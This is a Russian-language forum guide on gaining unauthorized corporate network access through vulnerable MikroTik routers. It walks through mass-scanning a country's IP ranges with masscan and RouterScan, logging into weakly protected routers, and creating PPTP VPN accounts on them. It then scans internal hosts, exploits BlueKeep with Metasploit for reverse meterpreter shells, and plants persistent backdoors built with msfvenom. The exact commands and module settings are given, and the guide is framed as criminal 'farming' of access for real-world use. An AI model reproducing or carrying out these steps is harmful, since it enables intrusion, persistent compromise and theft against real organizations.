Гайд - Фарм корпоративных доступов, благодаря MikroTik. Компрометация. С постэкспуатацией | End Way - форум программирования и сливов различных скриптов
  • Присоединяйтесь к нам в телеграм канал! EndWay канал | EndSoft канал | EWStudio канал
  • Хочешь поставить скрипт, но не умеешь?
    А может ты хочешь свой уникальный скрипт?

    Тогда добро пожаловать в нашу студию разработки!

    Телеграм бот: EWStudioBot
    Телеграм канал: EWStudio

Гайд Фарм корпоративных доступов, благодаря MikroTik. Компрометация. С постэкспуатацией

SSH

connection...
Автор темы
31 Май 2023
189
469
63
Main
Доброго пребывания на форуме! Сегодня наш разговор пойдет про получение корпоративных доступов на сервера/компы с помощью уязвимых MikroTik в сети, закрепление в системе и сети, а также пища для размышлений! Усаживайтесь поудобнее, по желанию берите еду, напиток. Начинаем!



Начнём со вступления. Как я ранее сказал, мы будем добывать уязвимые MikroTik'и, разворачивать на них VPN, дабы войти в сеть, сканировать сеть RCE'шкой, эксплуатировать её и закрепляться в сети. Наш план:




У некоторых может возникнуть вопрос, мол - "Зачем для этого MikroTik ломать? Не легче сразу сканить TCP-порты?". Конечно, вариант с прямым сканом удобен и практичен, тем более затрачивает меньше времени. Но возможность сразу же проникнуть в сеть имеет свои плюсы - можем попутно "слушать" сетевые запросы с микротика, помогая себе же; не потеряем тачку, если она сменит динамический айпи; бесконечные возможности для "копания".
Этот способ СЛОЖНЕЕ прямого сканирования.


 1
Начинаем первую главу - Скан диапазонов IP-адресов, поиск уязвимых MikroTik, разворачивание VPN.


Сперва стоит определиться с рабочей страной. Можно выбрать, как самую популярную страну по количеству задокументированных потенциально уязвимых роутеров, так и менее востребованную. Всё зависит от целей и желаний. Ознакомиться с самыми "активными" странами вы можете здесь - кликабельно:
1727627321896


Как только вы справились с дилеммой по выбору страны, можем начинать работу с IP.

Заходим на iwik.org ( кликабельно ) и скачиваем .cidr-файл выбранной вами страны. Пример:
Глаз пал на Бразилию, скачиваем - BR.cidr.

Убираем первую строчку в файле:


Скачиваем Masscan ( кликабельно ). Так как я юзаю дедик под управлением винды, то и версия масскана будет подходящая - MasscanForWindowsa ( кликабельно ). Под Linux компилируйте первый исходники самостоятельно.

Запускаем терминал, переходим в каталог с массканом. Запускаем скан - Masscan32.exe -p8291 -iL "путь/до/cidr-файла" > "путь/до/итогового-файла.txt" --rate 1000000:
Дожидаемся окончания процесса, открываем конечный файл, чистим его от мусора в первых строках, оставляя лишь адреса.Вот и всё, с подготовкой адресов мы закончили.



Начинаем сканировать RouterScan'ом. Качаем его ( кликабельно ). Официальная версия под Linux отсутствует, на помощь приходит wine. Запускаем:
1727628530545

В поле ввода Ports добавляем - 80, 8080, 443, 8291.
В IP-ranges - вставляем содержимое ранее сготовленного текстового файла.

Нажимаем Start Scan и ожидаем конца сканирования. Обычно занимает 2-3 часа.



Начинаем перебирать все работоспособные MikroTik'и из вкладки Good found. Айпи, логин и пароль от панели управления находятся в соответствующих колонках.

Заходить через Winbox или веб-морду - ваш выбор. Сути это не меняет.

Переходим в Webfig -> System -> Users и проверяем группу доступа пользователя:


Она должна быть Full/System. В негативном случае - меняем микротик, повторяем действия.

Открываем вкладку PPP -> PPTP Server, создаём новый, выставляем настройки, как на скриншоте:
Pptp

После, Profiles -> Default Encryption -> Protocols и ставим как у меня:
1727629632692

Идём в PPP -> Secrets, создаём новый:
Secrets
Заполняем:

  • Name - Имя юзера. Используется для подключения.
  • Password - Пароль юзера. Используется для подключения.
  • Service - PPTP.
  • Local Address - Айпи микрота.
  • Remote Address - Локальный адрес, выбираем свободный. Пример - 192.168.88.10.
Бинго! Можем коннектиться к VPN'у, дабы проникнуть в сеть.


 2
В этой главе мы непосредственно начнем атаковать устройства, но прежде просканируем сеть.


Изучим сеть. Для этого подключимся к ранее созданному VPN, откроем терминал и заставим поработать nmap - nmap -A 192.168.1.0/24. Результат будет примерно таким:

Bash:
Starting Nmap 7.91 ( https://nmap.org ) at 2024-09-29 13:00
Nmap scan report for 192.168.1.2
Host is up (0.0040s latency).
Not shown: 998 filtered ports
PORT     STATE SERVICE    VERSION
135/tcp  open  msrpc      Microsoft Windows RPC
139/tcp  open  netbios-ssn
445/tcp  open  microsoft-ds Microsoft Windows 7 Professional 7601 Service Pack 1 (workgroup: WORKGROUP)
3389/tcp open  ms-wbt-server Microsoft Terminal Services
Device type: general purpose
Running: Microsoft Windows 7
OS CPE: cpe:/o:microsoft:windows_7::sp1
OS details: Microsoft Windows 7 Professional SP1

Nmap scan report for 192.168.1.5
Host is up (0.0030s latency).
Not shown: 995 closed ports
PORT     STATE SERVICE    VERSION
135/tcp  open  msrpc      Microsoft Windows RPC
139/tcp  open  netbios-ssn
445/tcp  open  microsoft-ds Microsoft Windows Server 2008 R2 Standard 7601 Service Pack 1 (workgroup: WORKGROUP)
3389/tcp open  ms-wbt-server Microsoft Terminal Services
Device type: general purpose
Running: Microsoft Windows Server 2008 R2
OS CPE: cpe:/o:microsoft:windows_server_2008:r2:sp1
OS details: Microsoft Windows Server 2008 R2 SP1

Nmap scan report for 192.168.1.8
Host is up (0.0050s latency).
Not shown: 996 closed ports
PORT     STATE SERVICE  VERSION
22/tcp   open  ssh      OpenSSH 7.4 (protocol 2.0)
80/tcp   open  http     Apache httpd 2.4.6 ((CentOS) OpenSSL/1.0.2k-fips)
3306/tcp open  mysql    MySQL 5.5.60
MAC Address: 00:1D:92:1B:2F:8A (Cisco Systems)
Device type: general purpose
Running: CentOS Linux 7
OS CPE: cpe:/o:centos:centos:7
OS details: CentOS Linux 7

Nmap scan report for 192.168.1.15
Host is up (0.0025s latency).
Not shown: 997 closed ports
PORT     STATE SERVICE     VERSION
22/tcp   open  ssh         OpenSSH 8.0 (protocol 2.0)
80/tcp   open  http        nginx 1.18.0
443/tcp  open  ssl/https   nginx 1.18.0
MAC Address: 00:1A:2B:3C:4D:5F (Intel Corporate)
Device type: general purpose
Running: Ubuntu Linux 20.04
OS CPE: cpe:/o:ubuntu:ubuntu:20.04
OS details: Ubuntu 20.04 LTS

Неплохой лог. Сразу вижу здесь целых две уязвимых системы. Но чтобы убедиться в этом, прогоним через RDPScan:
Качаем зависимости - sudo apt-get install libssl-dev build-essential
И сам репозиторий - git clone https://github.com/robertdavidgraham/rdpscan.git

Перейдём в каталог с проектом - cd /rdpscan/
И скомпилируем - make -j

Запускаем - ./rdpscan --workers 300 --port 3389 --file "путь/до/файла-c-адресами-из-nmap.txt" grep 'VULN' | cut -f1 -d'-' >"путь/до/конечного-файла.txt"


Ожидаем некоторое время, дабы сканнер проработал. И о чудо, в файле оказались как раз таки те две уязвимые машины, про которые я сказал. Займёмся эксплуатацией, господа!



Запускаем в двух разных окнах терминала MetaSploit - msfconsole. Одно мы будем использовать для хендлера, другое - для самого блюкипа.

Работаем с первым:
use exploit/multi/handler - вешаем handler.

set payload windows/x64/meterpreter/reverse_tcp_rc4 - выставляем реверс-пейлоад

set EXITFUNC thread - выбираем thread, ибо это универсальный вариант. Отлично нам подходит.

Выставим через setg глобальные параметры:
Глобальная настройкаЗначение
SessionLoggingy (включить логирование)
loglevel1 (уровень логирования)


И через set - обязательные базовые:
НастройкаЗначение
LHOSTIP-адрес дедика
LPORTпорт, где будет висеть слушатель
RC4PASSWORDпароль для RC4
ExitOnSession0 (данный параметр будет держать сессию всегда онлайн без завершения)


Отлично, запускаем хендлер - run -j

Переходим во второе окна терминала с запущенным Metasploit. Готовим всё необходимое:
use exploit/windows/rdp/cve_2019_0708_bluekeep_rce
set payload windows/x64/meterpreter/reverse_tcp_rc4
set EXITFUNC thread
set DisablePayloadHandler 1

И теперь также через set ставим необходимые базовые параметры:
НастройкаЗначение
LHOSTIP-адрес дедика
LPORTПорт слушателя, указывать такой же, как и в хендлере
RC4PASSWORDпароль такой же, как в хендлере
ConnectTimeout5 ( таймаут на подключение )
GROOMSIZE120
GROOMCHANNELCOUNT1
forceexploit1
target1
rhostsпуть/до/файла-с-уязвимыми-системами.txt)


Запускаем - run

Спустя некоторое время в хендлере можем лицезреть прилетевшие сессии. Браво, осталось только закрепиться!



Открываем список доступных сессий - sessions -i
Сбоку увидим порядковый номер сессии, подключиться к ней можем так - sessions -i <номер_сессии>

Но подключаться к ней мы пока что не будем, лучше закинем ваш бекдор:
use post/windows/manage/persistence_exe

Настраиваем через set:
ИмяПояснение
REXENAMEИмя файла, которое будет иметь пейлоад на удалённой системе
REXEPATHПуть до пейлоада на локальной машине
SESSIONРанее полученный номер сессии
STARTUPТип автозапуска - USER, SYSTEM, SERVICE
Про типы автозапуска - USER, SYSTEM, SERVICE. Первый - запускает пейлоад после входа пользователя, второй - запустит пейлоад после загрузки машины, ну и третий - создание специальной автозагрузочной службы.
Запускаем - run

Если вы не имеете своего пейлоада, то его легко создать:
Создаём исполняемый файл - msfvenom -p windows/meterpreter/reverse_tcp LHOST="IP-адрес" LPORT="порт" -f exe -o payload.exe

И создадим новый хендлер:
use exploit/multi/handler
set PAYLOAD windows/meterpreter/reverse_tcp
set LHOST "IP-адрес, тот же, что и в msfvenom"
set LPORT "порт", тот же, что и в msfvenom[
exploit

Готово. При запуске исполняемого файла, который мы создали ранее, на целевой машине в консоли хендлера мы получим сессию и большое количество эксплуатационных функций.



Вот и подошел конец статьи. Очень надеюсь, что вы найдёте этому полезное применение :))
Всех поклонников цикла статей про MikroTik глубочайше приветствую!

Все вопросы связанные с темой прошу задавать в комментарии.

Донаты автору на поддержание выпусков статей:
BTC - 1MQmQqDfX4rGGDDJRd1HEWLLQMTTWXdwQt
Ton - UQAnlVF9QTqFSUwFOkfjpD4_lr1CzplzhThVuuM9Jtu0AJoz

UPD: Дорогие читатели, я создал свой блог в телеграме. В нём будут постится мои статьи, софт, гайды, инструменты, практические кейсы и иной эксклюзивный контент. Всех желающих приглашаю - @ssh_lab
 

Вложения

  • 1727628012553.png
    1727628012553.png
    69.3 KB · Просмотры: 4
  • 1727628072131.png
    1727628072131.png
    12.9 KB · Просмотры: 4
  • скан.png
    скан.png
    19.5 KB · Просмотры: 7
  • эксплуатация.png
    эксплуатация.png
    21.9 KB · Просмотры: 5
Like
  • 3
Реакции: 2 users
Активность:
Пока что здесь никого нет